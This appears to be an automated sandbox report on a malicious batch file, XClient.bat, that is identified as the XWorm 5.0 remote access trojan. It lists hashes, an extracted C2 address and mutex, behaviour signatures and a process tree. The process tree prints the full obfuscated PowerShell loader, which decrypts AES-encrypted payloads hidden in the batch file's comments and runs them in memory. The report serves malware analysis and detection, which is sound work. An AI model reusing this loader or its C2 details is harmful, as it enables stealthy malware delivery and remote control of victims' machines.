Analysis
- max time kernel
150s - max time network
140s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
07/07/2026, 17:52
Static task
static1
Behavioral task
behavioral1
Sample
XClient.bat
Resource
win10v2004-20260513-en
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
XClient.bat
Resource
win11ltsc2024-20260706-en
8 signatures
150 seconds
General
- Target XClient.bat
- Size 54KB
- Sample260707-wf7cvsbs2s
- SHA256 ff93d90b297e3172501173aaa6144b0939ea15dd9c8f8a4c563289e5fcd252a0
- MD5 9d48b2bd7a1413af66cbc2cb3c7c1836
- SHA1 81e0dba33f51a433ea57836a69d3e188b77b76eb
- SHA512 dcad04110f1e4db7c587068b7350e2a1d96f001490a77dbc4bb12f5c0563c06a45fe3b267ce3eee49d9b4aa099f8df2f93e11b7f918ce49097b89787bc1e4f2f
- SSDEEP 768:2tsEP1iaGWBTDyKpf1Qlo3sEeBjX5QyRtkfLRJvYq+2cNb53CxVN/jbZ1WXH2xGs:IPssVB1Qo/+/kfMHN5opVQuAkD
- TLSH T14B4357C72E38D67AE1D3A1D1B5E6F8710001BE1FA80952F78443BA1D4DE5DE6CA8C46E
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Extracted
Family
-
xworm
Version
-
5.0
C2
-
portbuddy.dev:48813
Mutex
-
TvO5ORVP5tvFAMgK
Attributes
-
install_file
USB.exe
aes.plain
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/3036-14-0x00000198D9370000-0x00000198D937E000-memory.dmp family_xworm - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 3036 powershell.exe -
pid Process 3036 powershell.exe - Delays execution with timeout.exe 1 IoCs
pid Process 4524 timeout.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3036 powershell.exe 3036 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3036 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3760 wrote to memory of 3036 3760 cmd.exe 89 PID 3036 wrote to memory of 2764 3036 powershell.exe 92 PID 2764 wrote to memory of 4524 2764 cmd.exe 94
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3760 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a5ilnIdH18ZyUDDFhdGbstSvQgXUIobylCdb6G7SaB0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OGL7ksx9Dbh+5AhOFqkQlw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jDLGo=New-Object System.IO.MemoryStream(,$param_var); $Mclri=New-Object System.IO.MemoryStream; $vJIHc=New-Object System.IO.Compression.GZipStream($jDLGo, [IO.Compression.CompressionMode]::Decompress); $vJIHc.CopyTo($Mclri); $vJIHc.Dispose(); $jDLGo.Dispose(); $Mclri.Dispose(); $Mclri.ToArray();}function execute_function($param_var,$param2_var){ $stxpN=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $FJkje=$stxpN.EntryPoint; $FJkje.Invoke($null, $param2_var);}$fTfKI = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$host.UI.RawUI.WindowTitle = $fTfKI;$BsBfJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($fTfKI).Split([Environment]::NewLine);foreach ($geOEf in $BsBfJ) { if ($geOEf.StartsWith(':: ')) { $HlyBz=$geOEf.Substring(3); break; }}$payloads_var=[string[]]$HlyBz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3036 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDC0E.tmp.bat""3⤵
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
PID:4524
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\tmpDC0E.tmp.bat
- Size 171B
- SHA256 0b02b6ac0717093379a1f923abcc15d06da91f4a794b082e49e6ebf66c6ab898
- MD5 1acfe974b3f5fe9c30985c6b4501be50
- SHA1 309e23c88b1a78a2912daa3e4fb6907de89cecfb
- SHA512 860ddcbdd320017d2a0e5503669965bebc6eb2a511c1f800427bfe81ce91126b5b29b7708e69b0c1046bc4a9017973000bbc7d57b45179752e51384264307a68
- TLSH T118C0806118D5F2595ED62C19105E8165D1E3E91F25006F6073840444EC4006DDC7C74C
- MD5 SHA1 SHA512 TLSH